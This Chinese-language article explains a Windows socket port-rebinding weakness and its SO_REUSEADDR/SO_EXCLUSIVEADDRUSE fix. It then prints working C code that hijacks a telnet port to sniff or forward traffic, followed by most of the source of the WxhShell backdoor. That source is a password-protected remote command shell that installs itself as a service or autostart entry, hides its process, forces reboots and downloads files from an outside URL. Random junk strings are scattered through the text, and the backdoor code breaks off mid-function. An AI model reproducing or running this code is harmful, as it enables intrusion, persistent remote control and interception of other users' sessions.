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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: hjaI&?w s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); u*}6)=+: B5P++aQ saddr.sin_family = AF_INET; OJQ7nChMm sm4@ywd> saddr.sin_addr.s_addr = htonl(INADDR_ANY); NM |&h!#Q{7l bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $A8eMJEpL c;BQ$je} 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :KMo'pL #](ML:! 这意味着什么?意味着可以进行如下的攻击: b{(!Ls_ & WcbJ4Ore 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 qS+'#Sn SQW A{f 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :.DCRs$Q N@Bqe{r6j 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 YtxBkKiJ2V Z;SRW92@ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 }0}J : :e=6i 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 V]`V3cy1+3 R-bICGSE 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^7~=+0cF] mJ !}!~: 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 W^P%k:anK .@ /5Ln #include kSoAnJ| #include 6D/5vM1 #include %t:1)]2 #include pjrVPi5&t DWORD WINAPI ClientThread(LPVOID lpParam); w~&bpCB! int main() Kx ?}%@b { x!]ZVl] WORD wVersionRequested; hRtnO|Z6 DWORD ret; $BkdC'D WSADATA wsaData; ,dK% [ BOOL val; G2
xYa$&][ SOCKADDR_IN saddr; eNi.d;8F SOCKADDR_IN scaddr; %ktU 51o int err; jFbz:aUF SOCKET s; Eki7bT@/ SOCKET sc; W~Eq_J?I int caddsize; nYTI\f/8v HANDLE mt; =r:D]?8oC DWORD tid; f+-w~cN wVersionRequested = MAKEWORD( 2, 2 ); YdhrFw0`~r err = WSAStartup( wVersionRequested, &wsaData ); /M\S^!g@ if ( err != 0 ) { &.K=,+0_R/ printf("error!WSAStartup failed!\n"); /,c9&it(M return -1; m 9.QGX\] } (y=P-nm saddr.sin_family = AF_INET; UOT~L4G 6TlkPM$~2 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 'hg, W] ib;:* saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); c]t=# saddr.sin_port = htons(23); nke[}Hqf if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }eULcgRG { /XtxgO\T. printf("error!socket failed!\n"); e
J2wK3R return -1; )TVyRY Z1 } .#lQZo6$\| val = TRUE; \/S?.P#L~ //SO_REUSEADDR选项就是可以实现端口重绑定的 Gk'J'9* if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]C}z3hhk { Xp4pN{h e printf("error!setsockopt failed!\n"); "((6)U# return -1; oC^-" (# } rM_8piD //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^mkplp
a //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 y=G //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 3:dQN;= wNcf7/ky if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 11%^K=dq { $ [M8G ret=GetLastError(); gMFTZQsP printf("error!bind failed!\n"); mVP@c&1w? return -1; V:2|l!l* } q#c\ listen(s,2); +f;z{)%B while(1) *-ZJF6 { pc:~_6S caddsize = sizeof(scaddr); 0waQw7
E //接受连接请求 .2Y"=|NdA sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Mp7r`A,6 if(sc!=INVALID_SOCKET) Y[
a$~n^:n { `?2S4lN/ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); W29@`93 if(mt==NULL) 5lVDYmh { coyy T printf("Thread Creat Failed!\n"); Wd3/Y/MD break; p@YU7_sF^! } GwxfnCKi9 } QVQe9{ "0 CloseHandle(mt); Ym2![FC1 } %h2U(=/: closesocket(s); *^}(LoPZ WSACleanup(); xBl}=M?Qu return 0; m7~kRY514 } +p>tO\mo DWORD WINAPI ClientThread(LPVOID lpParam) @0-<|,^] { AW%^Xt SOCKET ss = (SOCKET)lpParam; gdNEMT SOCKET sc; > ~J&i3 unsigned char buf[4096]; "N D1$l SOCKADDR_IN saddr; vsRn\Y long num; P)7SK&]r;= DWORD val; ~eA7:dZLb DWORD ret; gR?=z}`@p //如果是隐藏端口应用的话,可以在此处加一些判断 305() //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 jaFBz&P/# saddr.sin_family = AF_INET; f*aYS saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); b:+.Y$%F- saddr.sin_port = htons(23); j^Bo0{{ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?2aglj*"v, { Rm&i" printf("error!socket failed!\n"); G\=7d%T+ return -1; h/QZcA } 65)/|j+ val = 100; |9@?8\ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >#)^4-e { diaLw ret = GetLastError(); :BNqr[=b return -1; }BzV<8F } TMT65X! if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |36d<b Io { >E^sZmY[f- ret = GetLastError(); _r?H by<b return -1; LS?3 >1g } Zb^0EbV if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) PI)lJ\ { .Q>.|mu printf("error!socket connect failed!\n"); r@%-S!$ closesocket(sc); */u_RJ closesocket(ss); ]wc'h>w return -1; zL+jlUkE
} Gh>Rt=Qu% while(1) gC>
A*~J; { Cz#0Gh>1 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 p>Qzz`@e //如果是嗅探内容的话,可以再此处进行内容分析和记录 -V%"i,t //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )4bBR@QM num = recv(ss,buf,4096,0); s%1 O}X$c if(num>0) "fU=W|lY send(sc,buf,num,0); 4703\
HK else if(num==0) &l/2[>D%4 break; %}J[EV num = recv(sc,buf,4096,0); hV)D,oN3 if(num>0) }N&}6U send(ss,buf,num,0); SRRqIQz else if(num==0) !NuiVC] break; LkK%DY } O@ F0UM`! closesocket(ss); AVF(YD<U closesocket(sc); B8:G1r5G/ return 0 ; gp`$/ci } 6k|o<`~, iV58 m ; $i{>mDT ========================================================== zogw1g&C hs!a'E 下边附上一个代码,,WXhSHELL &5h{XSv o:W>7~$jr= ========================================================== Ej~vp2 iVu #include "stdafx.h" KLBU8% nD@/,kw" #include <stdio.h> 3"NO"+Q #include <string.h> ZX'q-JUv f #include <windows.h> |-a5|3 #include <winsock2.h> k Pi%RvuQ #include <winsvc.h> U0 nSI #include <urlmon.h> -GCC MxQhkY-= #pragma comment (lib, "Ws2_32.lib") Ye% e! #pragma comment (lib, "urlmon.lib") ikX"f?Q;S2 BiT
#bg #define MAX_USER 100 // 最大客户端连接数 @.0>gmY;: #define BUF_SOCK 200 // sock buffer Fku~'30 #define KEY_BUFF 255 // 输入 buffer Z-z^0QO (~q.YJ' #define REBOOT 0 // 重启 r'/&{?Je/ #define SHUTDOWN 1 // 关机 AJ}QS?p8s B52n'. #define DEF_PORT 5000 // 监听端口 mvgsf(a*' Tsch:r S #define REG_LEN 16 // 注册表键长度 n=J~Rssp #define SVC_LEN 80 // NT服务名长度 (H5nz': Iv+JEuIi // 从dll定义API ,h,OUo]LIY typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /Jj7+? typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c!*yxzs\ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }Z#KPI8\Q typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T$rhz)_q xvw @'| // wxhshell配置信息 5Ve`j,`=< struct WSCFG { TWSqn'<E int ws_port; // 监听端口 Mi~x(W@}3 char ws_passstr[REG_LEN]; // 口令 /a,"b8 int ws_autoins; // 安装标记, 1=yes 0=no rU4;yy*b char ws_regname[REG_LEN]; // 注册表键名 p=!12t char ws_svcname[REG_LEN]; // 服务名 a =
*' char ws_svcdisp[SVC_LEN]; // 服务显示名 3</W}]$)p char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^[x6p}$ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }~NM\rm int ws_downexe; // 下载执行标记, 1=yes 0=no gmqA 5W~y char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe"
$UD$NSl char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0Q7|2{ Ec9%RAxl }; <
]"Uy p ~xLo0EV" // default Wxhshell configuration 2P/ Sq struct WSCFG wscfg={DEF_PORT, e0<Wed "xuhuanlingzhe", +~K)
~ 1, s"UUo|hM "Wxhshell", 15z(hzU?# "Wxhshell", 4A`U [r_>D "WxhShell Service", xX?9e3( "Wrsky Windows CmdShell Service", P3!JA)p6a "Please Input Your Password: ", frokl5L@ 1, M
~;]d " http://www.wrsky.com/wxhshell.exe", D&o~4Qvc] "Wxhshell.exe" cG"wj$'w }; Avww@$ kQF3DR$,B // 消息定义模块 x)jc char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I`77[ char *msg_ws_prompt="\n\r? for help\n\r#>"; %I=/
y char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 5dX /< char *msg_ws_ext="\n\rExit."; I5*<J n char *msg_ws_end="\n\rQuit."; 99\lZ{f( char *msg_ws_boot="\n\rReboot..."; XU<XK9EA char *msg_ws_poff="\n\rShutdown..."; .6!cHL3ln char *msg_ws_down="\n\rSave to "; rf^u&f X$Shi
*U[ char *msg_ws_err="\n\rErr!"; 2# char *msg_ws_ok="\n\rOK!"; j0^1BVcj #<y/m*Ota char ExeFile[MAX_PATH]; ^-LnO%h? int nUser = 0; Q4Nut HANDLE handles[MAX_USER]; AC\y|X8- int OsIsNt; 8=@f lK riF-9
%i SERVICE_STATUS serviceStatus; _FNW[V SERVICE_STATUS_HANDLE hServiceStatusHandle; e,xJ%f {e$@i // 函数声明 <Mndr8 H int Install(void); u+y3(0 int Uninstall(void); KjMwrMgC int DownloadFile(char *sURL, SOCKET wsh); 9K;g\? 3 int Boot(int flag); P v=]7>e void HideProc(void); xU2i&il^! int GetOsVer(void); 2%v6h int Wxhshell(SOCKET wsl); 2Jky,YLcb void TalkWithClient(void *cs); 6-~ZOMlV int CmdShell(SOCKET sock); x:i,l:x int StartFromService(void); +xAD;A4 int StartWxhshell(LPSTR lpCmdLine); /oZvm \PD%=~ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H2xDC_Fs VOID WINAPI NTServiceHandler( DWORD fdwControl ); f*:N*cC :L6%57 // 数据结构和表定义 mG1!~}[ SERVICE_TABLE_ENTRY DispatchTable[] = A#{I-*D[ { E^Ch;)j| {wscfg.ws_svcname, NTServiceMain}, AQtOTT$ {NULL, NULL} y<*\D_J }; OJ7Uh_;/ nltOX@P- // 自我安装 Lr20xm int Install(void) %__ @G_M { +vH#xc\' char svExeFile[MAX_PATH]; G({5Lj gW HKEY key; MR: H3 strcpy(svExeFile,ExeFile); X40JCQx{+ ;1s;" // 如果是win9x系统,修改注册表设为自启动 q,_EHPc if(!OsIsNt) { .76Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {t4':{Y+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dNCd-ep RegCloseKey(key); 4]E1x l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V)4?y9xZv RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :?}>Q RegCloseKey(key); ]k BC,m( return 0; A/&u/?*C } gK"(;Jih$ } 1H\5E~X } <Fv7JPN% else { PN=5ICT 0C3Y =F // 如果是NT以上系统,安装为系统服务 xIV#}z0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *=]UWM~] if (schSCManager!=0) Bs|#7mA[ { Ic^
(6 SC_HANDLE schService = CreateService RH$l?j6 ( RQu[FZT, schSCManager, D><^ 7nr% wscfg.ws_svcname, knzo 6 wscfg.ws_svcdisp, .Iz
JJp SERVICE_ALL_ACCESS, ]zj&U#{ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
;5 SERVICE_AUTO_START, /Z~$`!J SERVICE_ERROR_NORMAL, h#dfhcU> svExeFile, (WP^}V5 NULL, Jh36NE8r NULL, {9) HB: NULL, b7">IzAe
NULL, ~ 588md : NULL qv>l ); \4
+HNy3 if (schService!=0) [ \%a7ji# { Zlt,Us` CloseServiceHandle(schService); /n:Q>8^n'W CloseServiceHandle(schSCManager); T1 1>&K) strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U-$nwji strcat(svExeFile,wscfg.ws_svcname); 2S4SG\ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cXr_,>k RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cxFyN;7 RegCloseKey(key); epG =)gd=8 return 0; Z.rhM[*+0C } 0zsmZ]b5E } W&[-QM8 CloseServiceHandle(schSCManager); 9+8N-LZ } r%>7n,+o } zz<o4bR SL\15`[{ return 1; x^cJ~e2 } Po.by~| Z Y5Pf
1 // 自我卸载 CHjm7 int Uninstall(void) <^W5UU#Pg { 4af^SZ)l HKEY key; T{N8 K K )(c%QWz if(!OsIsNt) { IJ:JH=8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #BgiDLh RegDeleteValue(key,wscfg.ws_regname); nQg_1+ RegCloseKey(key); Hq?dqg' %~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1CJAFi>%D RegDeleteValue(key,wscfg.ws_regname); 9C!b
f \ RegCloseKey(key); znIS2{p/` return 0; [o7Qr?RN } |0X~D}r|J } WD*z..` } PeLzZ'$D else { NQcg}y `_]Ul I_h SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,Vof<,x0 if (schSCManager!=0) 0< }BSv { &]A0=h2{P* SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }gE^HH' if (schService!=0) 5dbj{r)s6i { )@=fGN Dt if(DeleteService(schService)!=0) { 5v=e(Ph+ CloseServiceHandle(schService); :oiHf: CloseServiceHandle(schSCManager); h}DKFrHW;- return 0; 2i NZz } Q|U
[|U CloseServiceHandle(schService); .*J /F$ } 1?Tj CloseServiceHandle(schSCManager); 7?);wh 7` } 7mtg } lB8gD ocZ^rqo2w return 1; 6fCHd10! } hf7[<I,jov jx
?"`;a // 从指定url下载文件 k<NxI\s8] int DownloadFile(char *sURL, SOCKET wsh) k]2_vk^ {
IA`Lp3Z HRESULT hr; *u < ZQq char seps[]= "/"; aY6F4,7/B char *token; NYzBfL
x char *file; I<+:Ho=6 char myURL[MAX_PATH]; q0NToVo@ char myFILE[MAX_PATH]; QUh`kt(E .>LJ(Sx9b strcpy(myURL,sURL); Q8.LlE999 token=strtok(myURL,seps); e{*yV#Wl while(token!=NULL) Wr'1Y7z { ViG>gMG v file=token; _~S[ token=strtok(NULL,seps); iJCv+p_f } nyBT4e u1\r:q GetCurrentDirectory(MAX_PATH,myFILE); io@f5E+? strcat(myFILE, "\\"); 4=N(@mS strcat(myFILE, file); 0s RcA -9 send(wsh,myFILE,strlen(myFILE),0); g${k8.TV send(wsh,"...",3,0); Sl@Ucc31 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x0) WrDb if(hr==S_OK) ~qK/w0=j return 0; #7/39zTK else ,J:Ro N_: return 1; q>5j (,6F aK7}} } ~R50-O z\woTL6D] // 系统电源模块 {Byh:-e< int Boot(int flag) 6RDy2JAOP { 'S:$4j HANDLE hToken; yqB!0)
< TOKEN_PRIVILEGES tkp; H8 xhE~'t %.onO0}) if(OsIsNt) { 7+qKA1t^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ''3I0X*! LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q%dbx:y# tkp.PrivilegeCount = 1; ?-)v{4{s tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P%N)]b<c* AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qB&Je$_uh if(flag==REBOOT) { NB+/S ;` if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m(0X_&&?z return 0; !Lw]aHb } .8T0OQ4 else { ]'-y-kqY if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n7yp6Db return 0; -:OJX #j } bvZ:5M } G8!|Lo else { E%Ww)P if(flag==REBOOT) { &~2IFp if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0=K8 nxdx return 0; MH9vg5QKp } +_+j"BT else { g4952u if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =itQ@``r return 0; / :6|)AW.{ } ]hoq!:>M1 } n9n)eI)R ga(k2Q;y return 1; *ZxurbX# } }r!hm?e 3dSC`K // win9x进程隐藏模块 _uXb>V*8 void HideProc(void) J_.cC { 9C0#K\ 1:>F{g HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +C[g>c}d if ( hKernel != NULL ) 1ANb=X|hig { b6p'%;Y/ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); , 2xv ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N"suR}9% FreeLibrary(hKernel); '2ZvK } i'4.w?O Z R<(xWH return; 4 Tw~4b } >[;=c0( $*T?}r> // 获取操作系统版本 >P&1or)e% int GetOsVer(void) 1@Ju sS0^K { $EX(-!c OSVERSIONINFO winfo; _(I6o winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =I@I GetVersionEx(&winfo); 0U H] if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \4^rb?B return 1; (<8}un else c?u*,d) G return 0; RS
l*u[fB } M.r7^9 P B?- poB& // 客户端句柄模块 -
l^3>!MAM int Wxhshell(SOCKET wsl) 9 <{C9 { =:]v~Ehq SOCKET wsh; :9Jy/7/ struct sockaddr_in client; /zoy,t-i DWORD myID; ??U/Qi180 \"Y,1in# while(nUser<MAX_USER) RjVmHhX { |_>^vW1f int nSize=sizeof(client); q=V'pML wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x!\q69nd v if(wsh==INVALID_SOCKET) return 1; Q2uV/M1? 5j6`W?|q handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~!!|#A)W if(handles[nUser]==0) |ns?c0rM closesocket(wsh); )>S,#_e*b else %W)pZN} nUser++; $(Mz@#% } 7.6L1srV WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?s3S$Ih (Bd'Pj]: return 0; K +3=gBU*w } Dfa3#{ ?%}!_F`h% // 关闭 socket #/f~LTE void CloseIt(SOCKET wsh) _#s,$K# { 8/BMFRJ closesocket(wsh); pDSNI2 nUser--; D
fzs A4 ExitThread(0); \6JOBR } -!:5jfT" #mA(x@:* // 客户端请求句柄 OTdijQLY void TalkWithClient(void *cs) AyOibnoZ2E { rxH]'6kP 1{
%y(?` SOCKET wsh=(SOCKET)cs; qS FtQ4 char pwd[SVC_LEN]; jWv'`c char cmd[KEY_BUFF]; Np/\}J&IF char chr[1]; Zo yO[# int i,j; -4&
i t: NX.xEW@ while (nUser < MAX_USER) { OmO#} k< G7Sw\wW if(wscfg.ws_passstr) { "cPg_-n if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HOF$(86zqA //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C?T\5}h //ZeroMemory(pwd,KEY_BUFF); %.<_+V#h i=0; W%-XN while(i<SVC_LEN) { U/QgO |#kY_d)10 // 设置超时 rUj\F9*5# fd_set FdRead; ]b!n ;{5 struct timeval TimeOut; -` U|5 FD_ZERO(&FdRead); EZ]4cd/i FD_SET(wsh,&FdRead); EN2SI+ TimeOut.tv_sec=8; vjlN@
" TimeOut.tv_usec=0; Q>Zc
eJ; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bYnq,JRA if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (^m]
7l 0f.jW O if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <ak[`] pwd =chr[0]; yJq< &g if(chr[0]==0xd || chr[0]==0xa) { y]m:
{ pwd=0; AcPLJ!y break; Aj4 a-vd. } `KFEzv i++; 8b)WOr6n } JhFbze> |JxVfX8^ // 如果是非法用户,关闭 socket 9Yv:6@. F if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); VP~2F
E } 2Lf,~EV D=TS IJ@ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); SG&,o=I$ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ir_XU/ve a(~Y:v while(1) { >+P}S@ ?K>)bA&l' ZeroMemory(cmd,KEY_BUFF); 2@<_,' d-D,Gx]>$ // 自动支持客户端 telnet标准 yx :^*/ j=0; fY[Fwjj3 while(j<KEY_BUFF) { 1^![8>u" if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "w'pIUQ3, cmd[j]=chr[0]; ,PTM'O@aU# if(chr[0]==0xa || chr[0]==0xd) { *9^8NY] cmd[j]=0; ahg:mlaob break; A'DFY { } I)Xf4FS@ j++; ]P0%S@] } &v{#yzM #1DEZ4]jjY // 下载文件 vW1^ if(strstr(cmd,"http://")) { Y 3BJ@sqz send(wsh,msg_ws_down,strlen(msg_ws_down),0); $3^M-w if(DownloadFile(cmd,wsh)) \yr9j$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); p%I'd^}.! else XB7Aa) send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lFnls6dp } b&:v6#i else { _x,X0ncv]@ rexv)!J switch(cmd[0]) { d_yvG.#C aDF@AS // 帮助 P}v
;d] case '?': { u2 s send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,t9EL 21 break; M:/NW-: } {EoYU\x // 安装 .Vbd-jr'M case 'i': { 0K%okq|n if(Install()) u7L?9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); dLiiJ6pl* else tYu<(Z(l) send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~~W.]>f break; djdTh
+>28 } WNGX`V,d // 卸载 >Ku4Il+36 case 'r': { :?6HG_9X if(Uninstall()) # )y`Zz{h send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,8@<sFB' else D&%8JL send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o08WC'bX break; |g&V? lI } Lv%3 jj // 显示 wxhshell 所在路径 {N4 'g_ case 'p': { 4z0gyCAC A char svExeFile[MAX_PATH]; .l1x~( strcpy(svExeFile,"\n\r"); ?+t;\ strcat(svExeFile,ExeFile); ys9:";X;} send(wsh,svExeFile,strlen(svExeFile),0); >dl5^ break; 4YfM.~
6 } T+Z[&| // 重启 J4T"O<i$58 case 'b': { ieZ$@3#&z send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u#76w74 if(Boot(REBOOT)) B$eM send(wsh,msg_ws_err,strlen(msg_ws_err),0); ):$KM{X else { OcTWq closesocket(wsh); YEu+kBlcQ ExitThread(0); os/h~,= } U@OdQAX break; QLY;@-jF$ } Msqqjhoy // 关机 9\Jc7[b case 'd': { ]-\68b N send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?b]zsku8 if(Boot(SHUTDOWN)) YSP\+ZZ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]Dq6XR else { KU|W85ye closesocket(wsh); gi!_Nz ExitThread(0); m_)- } wN[lC|1c break; QX=TuyO } JwSF}kNs} // 获取shell hxoajexU case 's': { pP| @Z{7d` CmdShell(wsh);
_E C7r>V& closesocket(wsh); N~!,
S;w ExitThread(0); t"VT['8 break; hEZvi
} *K/K97 // 退出 5iA>Z!sP[ case 'x': { 50_[hC&C) send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wH~A>
4*( CloseIt(wsh); <m-(B"FX break; L$PbC!1 } `+,?%W) // 离开 L`nW&;w' case 'q': { 5A0]+)5E8 send(wsh,msg_ws_end,strlen(msg_ws_end),0); j\ y! closesocket(wsh); t%qep| WSACleanup(); =yod exit(1); ^Q8yb*MN break; UR'[? } u@_|4Bp," } M/o?D <' } BN 9e S =8]`-( // 提示信息 x=DxD&I!J if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Bp^LLH } _lv{ 8vf1B } z*},N$2= fpf]qQ
W~7 return; YiZk|K_ } m9[ 7"I &~_F2]oM // shell模块句柄 -}6ew@GE int CmdShell(SOCKET sock) IW\^-LI. { _[6sr7H! STARTUPINFO si; 3 yx[*'e$ ZeroMemory(&si,sizeof(si)); ljbAfd si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1V2]@VQF si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |=q~X}DA PROCESS_INFORMATION ProcessInfo; M(C">L]8 char cmdline[]="cmd"; );!ND% CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \TP$2i%W return 0; 7i" b\{5 } V(`]hH0;T _#{ *I(l // 自身启动模式 ~R|9|k int StartFromService(void) Tt: (l/1 { 2;Z
0pPR& typedef struct r?DCR\Jq { _^_3>}y5op DWORD ExitStatus; og";mC DWORD PebBaseAddress; xT>9ZZcE DWORD AffinityMask; V|YQhd0kv DWORD BasePriority; 89M'klZ ULONG UniqueProcessId; Q/|.=:~FO ULONG InheritedFromUniqueProcessId; m1W) PUy } PROCESS_BASIC_INFORMATION; %,[,mW4l i]Mem M- PROCNTQSIP NtQueryInformationProcess; 9^/Y7Wp/@ fw&*;az static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lAnq2j| static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V*n$$-5
1- wNmpUO ? HANDLE hProcess; ]gBnzh. PROCESS_BASIC_INFORMATION pbi;
